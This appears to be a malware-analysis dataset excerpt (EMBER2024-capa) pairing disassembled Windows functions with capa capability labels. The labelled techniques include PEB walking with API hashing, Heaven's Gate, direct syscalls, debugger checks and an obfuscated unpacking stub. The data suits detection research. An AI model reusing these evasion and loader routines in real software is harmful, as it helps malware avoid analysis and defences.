joyce8/EMBER2024-capa huggingface dataset:
Function at 0x475af7
Capabilities:
Access peb ldr_data

Disassembly:
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov edi, ebx
mov esi, dword [ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword [esi]
test cx, cx
je 0x475b44
mov al, cl
cmp al, 0x61
jb 0x475b1f
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x475b44
mov al, cl
cmp al, 0x61
jb 0x475b37
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, [esi + 4]
jmp 0x475b10
cmp edx, dword [esp + 0x18]
je 0x475b54
mov ebx, dword [ebx]
cmp edi, dword [ebx]
jne 0x475b09
xor eax, eax
jmp 0x475b57
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x475b5f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor eax, eax
pushal
mov ebx, ecx
mov eax, dword [ebx + 0x3c]
mov eax, dword [ebx + eax + 0x78]
test eax, eax
je 0x475c46
lea esi, [ebx + eax]
test edx, 0xffff0000
je 0x475c4c
mov ecx, dword [esi + 0x18]
mov edi, dword [esi + 0x20]
lea edi, [ebx + edi]
mov ebp, dword [edi + ecx*4 - 4]
lea ebp, [ebx + ebp]
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x475bab
cmp al, 0x61
jb 0x475ba3
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x475b96
cmp edx, dword [esp + 0x14]
je 0x475bbb
dec ecx
jne 0x475b8b
xor eax, eax
jmp 0x475c46
mov edx, dword [esi + 0x24]
lea edx, [ebx + edx]
mov edx, dword [edx + ecx*2 - 2]
and edx, 0xffff
mov eax, dword [esi + 0x1c]
lea eax, [ebx + eax]
mov eax, dword [eax + edx*4]
lea eax, [ebx + eax]
cmp eax, esi
jbe 0x475c46
mov ecx, dword [ebx + 0x3c]
mov ecx, dword [ebx + ecx + 0x7c]
add esi, ecx
cmp eax, esi
jae 0x475c46
mov ebp, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
cmp al, 0x61
jb 0x475bf7
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
inc ebp
cmp al, 0x2e
je 0x475c06
jmp 0x475bee
ror edx, 0xd
add edx, 0x44
ror edx, 0x1a
add edx, 0x4c
ror edx, 0x1a
add edx, 0x4c
ror edx, 0xd
mov ecx, edx
call fcn.00475af7
test eax, eax
je 0x475c46
mov ecx, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x475c41
cmp al, 0x61
jb 0x475c39
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x475c2c
call fcn.00475b5f
mov dword [esp + 0x1c], eax
popal
ret
mov ecx, dword [esi + 0x10]
cmp edx, ecx
jb 0x475c64
mov eax, dword [esi + 0x14]
dec eax
cmp edx, eax
ja 0x475c64
sub edx, ecx
mov ecx, edx
jmp 0x475bbb
xor eax, eax
jmp 0x475c46

Function at 0x477fbd
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov dword [ebp + 8], 0xb7e5
mov eax, dword [ebp + 8]
leave
sub esp, 0x60
pushfd
pushal
push dword [esp + 0x84]
push 0
push eax
fnsave dword [esp + 0x30]
wait
push dword fs:[0]
mov dword fs:[0], esp
mov eax, 1
jmp dword [esp + 0xc]

Function at 0x47bb7f
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x1c]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x47bbba
add dword [esp], 5
retf
Function at 0x47c55d
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov eax, 0
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0047c644
mov dword [ebp - 4], 0
mov eax, dword [0x1c]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x47c5bd
add dword [esp], 5
retf

Function at 0x47c644
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x1c]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x47c67f
add dword [esp], 5
retf

Function at 0x47d331
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x1c]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x47d36c
add dword [esp], 5
retf

Function at 0x47d462
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x1c]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x47d49d
add dword [esp], 5
retf

Function at 0x47ed63
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x1c]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x47ed9e
add dword [esp], 5
retf

Function at 0x48039f
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x1c]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x4803da
add dword [esp], 5
retf

Function at 0x4805c8
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x1c]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x480603
add dword [esp], 5
retf

Function at 0x4806c6
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x4806f2
add dword [esp], 5
retf
Function at 0x480785
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x1c]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x4807c0
add dword [esp], 5
retf

Function at 0x481b86
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x1c]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x481bc1
add dword [esp], 5
retf

Function at 0x485421
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov dword [ebp + 8], 0x18c49
mov eax, dword [ebp + 8]
leave
sub esp, 0x60
pushfd
pushal
push dword [esp + 0x84]
push 0
push eax
fnsave dword [esp + 0x30]
wait
push dword fs:[0]
mov dword fs:[0], esp
mov eax, 1
jmp dword [esp + 0xc]
Function at 0x487097
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.00487247
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x487195
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x487138
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x48717b
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x48714f
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x48716a
test al, 0x40
je 0x487161
mov ecx, dword [edi + 0x20]
jmp 0x487168
test al, 0x80
je 0x48717b
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x48717b
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x487107
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x488f7e
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x30]
movzx eax, byte [eax + 2]
and eax, 1
leave
ret

Function at 0x48a71d
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp + 8], 0
jge 0x48a73f
mov eax, 0xfffffffd
jmp 0x48a811
cmp dword [0x94], 0
je 0x48a7ea
cmp dword [0x98], 5
jl 0x48a76d
cmp dword [0x98], 7
jg 0x48a76d
mov eax, 1
jmp 0x48a772
mov eax, 0
test eax, eax
jne 0x48a78b
cmp dword [0x98], 0xfffffffb
je 0x48a78b
xor eax, eax
jmp 0x48a790
mov eax, 1
test eax, eax
je 0x48a7bc
mov eax, dword [ebp]
add eax, 0x80
mov ecx, 0x20
push dword [eax]
sub eax, 4
loop 0x48a7a5
mov eax, dword [ebp + 8]
call dword fs:[0xc0]
nop
nop
leave
ret 4
mov eax, dword [ebp + 8]
mov ecx, eax
and eax, 0xffff
shr ecx, 0x10
and ecx, 0xffff
mov edx, dword [ebp]
lea edx, [edx + 8]
call dword fs:[0xc0]
nop
nop
nop
nop
nop
leave
ret 4
cmp dword [0x94], 0
jne 0x48a807
mov eax, dword [ebp + 8]
mov edx, dword [ebp]
lea edx, [edx + 8]
int 0x2e
nop
leave
ret 4
mov eax, 0
jmp 0x48a811
mov esp, ebp
pop ebp
ret 4
Function at 0x48cbb2
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
call fcn.00477fbd
test eax, eax
je 0x48cbf5
xor eax, eax
xchg dword [ebp + 8], eax
cmp eax, 0xffff
jle 0x48cbf5
cmp word [eax], 0x5a4d
jne 0x48cbf5
add eax, dword [eax + 0x3c]
cmp dword [eax], 0x4550
jne 0x48cbf5
mov dword [ebp + 8], eax
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
call fcn.004780b0
mov eax, dword [ebp + 8]
jmp 0x48cc0e
mov esp, ebp
pop ebp
ret 4

Function at 0x48fd04
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
call fcn.00477fbd
test eax, eax
je 0x48fd6f
push ecx
push ebx
xor eax, eax
xchg dword [ebp + 0xc], eax
xchg dword [ebp + 0x10], eax
mov ebx, dword [ebp + 8]
cmp ebx, 0xffff
jle 0x48fd6d
cmp word [ebx], 0x5a4d
jne 0x48fd6d
mov ecx, dword [ebx + 0x3c]
add ecx, ebx
cmp dword [ecx], 0x4550
jne 0x48fd6d
cmp dword [ebp + 0x10], 0
je 0x48fd61
movzx eax, word [ecx + 0x16]
and eax, dword [ebp + 0x10]
cmp eax, dword [ebp + 0x10]
jne 0x48fd6d
cmp dword [ecx + 0x28], 0
je 0x48fd6d
add ebx, dword [ecx + 0x28]
mov dword [ebp + 0xc], ebx
pop ebx
pop ecx
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
call fcn.004780b0
mov eax, dword [ebp + 0xc]
jmp 0x48fd88
mov esp, ebp
pop ebp
ret 0xc
Function at 0x49c08c
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
cmp dword [0x108], 0
jne 0x49c0f2
push 0x80000002
push 0
push 1
push 0x80000301
push 0
push 0x9c8
push 2
mov ebx, 0x24
mov eax, 1
call fcn.004e2abb
add esp, 0x1c
mov dword [0x108], eax
cmp dword [0x108], 0
jne 0x49c0f2
mov eax, dword [ebp + 8]
jmp 0x49c244
mov eax, dword [0x108]
mov dword [ebp - 4], eax
pushal
cmp dword [eax + 8], 0
jne 0x49c159
mov edx, dword fs:[0x20]
imul edx, dword fs:[0x24]
mov eax, dword fs:[0x2c]
xor eax, dword fs:[0x30]
imul eax, edx
imul edx, eax, 0x41c64e6d
imul edx, dword [ebp - 4]
add edx, 0x3039
mov ebx, dword [ebp - 4]
add ebx, 8
mov dword [ebx], edx
xor eax, eax
mov ecx, edx
shr ecx, 0x1e
xor ecx, edx
imul edx, ecx, 0x6c078965
inc eax
add edx, eax
mov dword [ebx + eax*4], edx
cmp eax, 0x26f
jb 0x49c13a
call fcn.0049c1d3
mov ecx, 1
test byte [eax + 4], 1
jne 0x49c15e
xchg dword [eax + 4], ecx
test ecx, ecx
jne 0x49c15e
cmp dword [eax], 0x270
jne 0x49c178
call fcn.0049c1d3
mov edx, dword [eax]
inc dword [eax]
mov ecx, dword [eax + edx*4 + 8]
mov dword [eax + 4], 0
mov eax, ecx
shr ecx, 0xb
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
mov ecx, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
cmp ecx, ebx
jg 0x49c1bd
mov ecx, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
sub ecx, ebx
inc ecx
test ecx, ecx
xor edx, edx
div ecx
mov eax, edx
add eax, ebx
mov dword [esp + 0x1c], eax
popal
leave
ret 8
mov esp, ebp
pop ebp
ret 8

Function at 0x49c1d3
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
xor esi, esi
mov edi, dword [ebp - 4]
push edi
push ebp
add edi, 8
mov ebp, edi
mov ebx, 0x18d
inc esi
mov edx, esi
xor eax, eax
cmp esi, 0x270
cmove edx, eax
mov edx, dword [ebp + edx*4]
xor edx, dword [edi]
and edx, 0x7fffffff
xor edx, dword [edi]
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, 0x9908b0df
and dl, 1
cmove ecx, eax
xor edx, edx
cmp ebx, 0x270
cmove ebx, edx
mov edx, ebx
xor ecx, dword [ebp + edx*4]
mov dword [edi], ecx
lea edi, [edi + 4]
inc ebx
cmp ebx, 0x18d
jne 0x49c1e4
pop ebp
pop eax
mov dword [eax], 0
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x403203
pop dword [ebp - 0x40]
mov eax, 0xb1932965
add eax, 0x4ead089e
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xb6bb7fba
add dword [ebp - 0x50], 0x9796c591
mov dword [ebp - 0x4c], 0x69197339
add dword [ebp - 0x4c], 0xc919d90c
mov dword [ebp - 0x48], 0x35b00b97
add dword [ebp - 0x48], 0x169c3897
mov dword [ebp - 0x44], 0x3b517c83
sub dword [ebp - 0x44], 0x3b517c83
lea eax, [ebp - 0x50]
push eax
mov eax, 0xc095a261
add eax, 0x3faade2b
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x9265a6c2
add dword [ebp - 0x50], 0xe20cc294
mov dword [ebp - 0x4c], 0x9a1fcebe
sub dword [ebp - 0x4c], 0x58b36d49
mov dword [ebp - 0x48], 0xf0027c41
add dword [ebp - 0x48], 0x736cf02b
mov dword [ebp - 0x44], 0x889edaaf
add dword [ebp - 0x44], 0x77612551
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x375c9
push 0
call eax
mov ecx, 0xc3518db8
sub ecx, 0xc35142a6
xor edi, edi
add edi, eax
mov edx, 0x6bacea0b
sub edx, 0x6b6bda0b
add edx, dword [ebp - 0x40]
mov esi, 0x97576a55
xor dword [ebp - 0x28], edi
mov ebx, dword [edx]
sub dword [ebp - 0x1c], eax
add ebx, esi
sub dword [ebp - 0x28], eax
mov dword [edi], ebx
xor dword [ebp - 8], ecx
add edi, 0x4da8ee52
sub edi, 0x4da8ee4e
add edx, 4
loop 0x40331c
add eax, 0x50ca5cce
sub eax, 0x50c93db3
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x710b84
Capabilities:
Encrypt data using rc4 prga

Disassembly:
invalid
rol byte [ebx + 0x3784153a], 0xe8
jle 0x710b52
call 0x6175f692
mov al, byte [0x2c891ae3]
and al, 0xff
xor al, 0x24
push esp
jmp 0x760133
xchg dword [esi + 0x3d333031], eax
push ss
sub edi, dword [reloc.RASAPI32.dll_RasHangUpA]
and al, 0xfd
and edi, dword [eax + 0x76]
xchg edi, eax
cmp al, 0xf8
mov dword [reloc.RASAPI32.dll_RasHangUpA], eax
push eax
add dl, dh
loopne 0x710b0a
fstp dword [eax + reloc.RASAPI32.dll_RasHangUpA]
xchg esp, eax
jbe 0x710b30
pop ebp
stosd dword es:[edi], eax
mov ebx, 0x22bc7311
sal byte [edi + 0x15246c88], 1
mov byte [esp + 0x15], ch
mov byte [esp + 0x15], ch
xor edi, edi
call fcn.00710d06
mov byte [0x8dea74ff], al
jl 0x710b61
jmp 0x710bf9
lea esp, [esp + 0x18]
push 0x4c0
add byte [eax], al
push 8
call fcn.00710c40
arpl si, dx
dec edi
fistp qword [edx - 0x1f8317b7]
jbe 0x710c1e
loopne 0x710c62
popfd
in al, dx
cdq
push 0x2474ffae
add ah, byte [eax - 0x73]
and al, 0xd
lea esp, [esp + 3]
and al, 3
jmp 0x710bf2
retf 0xa148
lea eax, [edx + ebx]
lea eax, [ecx + 1]
call 0x7600f7
adc dword [edx + reloc.RASAPI32.dll_RasHangUpA], ebx
jno 0x760127
jmp [edi + 0xa]
outsd dx, dword [esi]
or bh, cl
mov dh, 0x59
rol byte [esi + 0x21], 1
shl byte [edi - 0x33], 1
lea esp, [esp + 0xc]
mov ecx, dword [esp + 0x34]
lea eax, [ebx + edi]
lea eax, [esp + esi]
shl ax, cl
jmp 0x760115

Function at 0x73a26e
Capabilities:
Encrypt data using aes

Disassembly:
push ebp
mov ebp, edx
lea ebp, [ebp*4]
jmp 0x73a8d1
add esp, 3
sub esp, 0xe
lea esp, [esp + 3]
jmp 0x73a247
lea ebp, reloc.RASAPI32.dll_RasHangUpA
mov edx, dword [ebp]
pop ebp
sub esp, 0xe
push edx
call fcn.0073a350

Function at 0x73a4bf
Capabilities:
Encrypt data using aes

Disassembly:
pop word [esp]
add esp, 1
jmp 0x73a520
movzx ebx, byte [esi + 0xe]
push edx
call fcn.0073a4f2
cmp al, 0xa4
cmp bl, byte [ebp - 0x54]
pop ds
dec edx
rol dword [ecx + 0x20], 1
shl dword [ecx - 0x30], cl
lea esp, [esp + 1]
lea esp, [esp + 0x1c]
xor edi, dword [ebx*4 + reloc.RASAPI32.dll_RasHangUpA]
setle bl
stc
jmp 0x73a509

Function at 0x73a4d9
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov edi, dword [edi*4 + reloc.RASAPI32.dll_RasHangUpA]
and ebx, ecx
call fcn.0073a4bf
mul byte [si + 3]
inc byte [eax + 0x73]
jmp 0x73a520
and edi, ecx
pushal
push dword [esp]
add esp, 0x19
push dword [esp + 2]
lea esp, [esp + 3]
jmp 0x73a48e
jmp 0x73a4ac

Function at 0x73a58f
Capabilities:
Encrypt data using aes

Disassembly:
lea esp, [esp + 1]
jmp 0x73a5c3
lea esp, [esp + 0xc]

Function at 0x73a61f
Capabilities:
Encrypt data using aes

Disassembly:
push word [esp + 3]
lea esp, [esp + 2]
jmp 0x73a645
Function at 0x73a992
Capabilities:
Encrypt data using aes

Disassembly:
int 5
lcall 0xff65, 0x259a6f08
outsd dx, dword [esi]
or bh, cl
mov ah, 0x4d
rol byte [esi + 0x21], 1
rcl byte [esi]
int 0x66
not ebx
not bx
movzx ebx, byte [esi + 9]
call fcn.0073a264
jl 0x73a279
dec esp
sub esp, esi
popal
scasd eax, dword es:[edi]
xor esp, dword [ebx - reloc.RASAPI32.dll_RasHangUpA]
xor al, 0xaa
int 0x3c
clc
mov eax, dword [reloc.RASAPI32.dll_RasHangUpA]
add esp, dword [ecx]
retf
lea esp, [esp + 3]
and ebx, ecx
lea esp, [esp + 4]
xor edi, dword [ebx*4 + reloc.RASAPI32.dll_RasHangUpA]
jmp 0x73a28d
add esp, 1
cmc
jmp 0x73a2ad

Function at 0x73b6df
Capabilities:
Encrypt data using aes

Disassembly:
push edx
call fcn.0073b688
jo 0x73a869
jne 0x73a8a2
out dx, eax
pop ebp
adc byte [esi], 0x84
jecxz 0x73a8ab
stosd dword es:[edi], eax
pop es
scasb al, byte es:[edi]
mov ecx, 0xfe97fb98
leave
xchg edi, eax
dec cl
push 0x8b52228b
push ebp
clc
xor al, 0x6e
mul dword [edi + 2]
int1
inc eax
je 0x73a893
jle 0x73a8c6
call 0x80ca2e0d
sti
sub ebp, ecx
cld
or al, 0
add cl, al
popfd
sbb al, 0xb2
aad 0x24
xchg esp, eax
in eax, dx
imul edi, ecx, 0x8ad6b98
mov esp, 0xbf8636db
or byte [esi], ch
mov esp, 0xbf8636db
xchg byte [ecx], dh
xor byte [ebx], dh
lea esp, [esp + 2]
jne 0x73a87d
push 0x3e
jmp 0x73a94a
pop word [esp]
mov word [esp], dx
mov byte [esp], ch
jmp 0x73b6b3
Function at 0x870088
Capabilities:
Execute anti-debugging instructions

Disassembly:
bsr si, bp
ror bh, 3
neg edi
ror esi, 0xb
jmp 0x8700b3
Function at 0x870430
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop dword [esp + 2]
inc ecx
rdtsc
mov ch, byte [esp + 3]
lea edx, [ebx + edi]
push dword [esp + 3]
jmp 0x870458
lea ebx, reloc.RASAPI32.dll_RasHangUpA
inc ebx
mov cx, dx
xchg dword [esp], ebx
jmp 0x870413
not ax
xchg bh, cl
inc dl
xchg bx, bp
pop bx
xchg ecx, esi
xchg bp, dx
ror ah, 1
jmp 0x87043f

Function at 0x875cb6
Capabilities:
Access peb ldr_data

Disassembly:
mov byte [esp + 0x2a], ch
pop dword [esp + 0xe]
call fcn.00875c6f
loope 0x875d39
ljmp 0xf161:0xf9d57c8d

Function at 0x875d10
Capabilities:
Parse pe header

Disassembly:
mov word [esp + 4], di
mov word [esp + 2], sp
push word [esp + 9]
push edx
jmp 0x875cf3

Function at 0x875d2d
Capabilities:
Access peb ldr_data

Disassembly:
mov dword [esp + 0x10], ecx
call 0x875bb4
salc
push dword [esp]
jmp 0x875bbd
push dword [esp + 4]
push dword [esp + 4]
mov byte [esp + 8], bh
mov dword [esp + 0xb], esi
pop dword [esp]
jmp 0x875cd8
push word [esp + 5]
push word [esp + 7]
lea esp, [esp + 9]
lea esp, [esp + 3]
mov dword [esp + 0x10], edx
call fcn.00875c5f
lea esp, [esp + 2]
mov dword [esp + 0x68], esi
pushal
mov dword [esp + 9], ecx
mov word [esp + 0x10], sp
push word [esp + 0x13]
jmp 0x875d22
mov dword [esp + 0x13], eax
push edx
call 0x875d2d
call 0x24cbec97
add dword [eax + ebp*8 + 0x5c], edx
add byte [eax], al
add byte [ecx], dl
invalid
Function at 0x1000102b
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
lea eax, [ebp - 0x104]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
mov edi, dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
lea eax, [ebp - 0x104]
push eax
push ebx
push 7
call edi
mov eax, dword [0x1000a654]
xor ecx, ecx
test eax, eax
jle 0x100010a5
mov dl, byte [ebx]
mov esi, 0x10009d9d
cmp byte [esi], dl
je 0x10001080
inc ecx
add esi, 0x118
cmp ecx, eax
jl 0x10001071
cmp ecx, eax
jge 0x100010a5
imul ecx, ecx, 0x118
lea eax, [ebp - 0x104]
push dword [ecx + 0x10009d98]
push str.DeviceIsoCdRom_d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
xor esi, esi
lea eax, [ebp - 0x104]
push eax
push ebx
push 1
call edi
test eax, eax
jne 0x100010c8
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 3
jl 0x100010a7
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100010cd
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x104]
push 0x104
push eax
push edi
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
mov eax, dword [0x1000a654]
xor ecx, ecx
test eax, eax
jle 0x10001135
mov dl, byte [edi]
push esi
mov esi, 0x10009d9d
cmp byte [esi], dl
je 0x1000110f
inc ecx
add esi, 0x118
cmp ecx, eax
jl 0x10001100
cmp ecx, eax
pop esi
jge 0x10001135
imul ecx, ecx, 0x118
lea eax, [ebp - 0x104]
push dword [ecx + 0x10009d98]
push str.DeviceIsoCdRom_d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
push edi
push 1
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
pop edi
leave
ret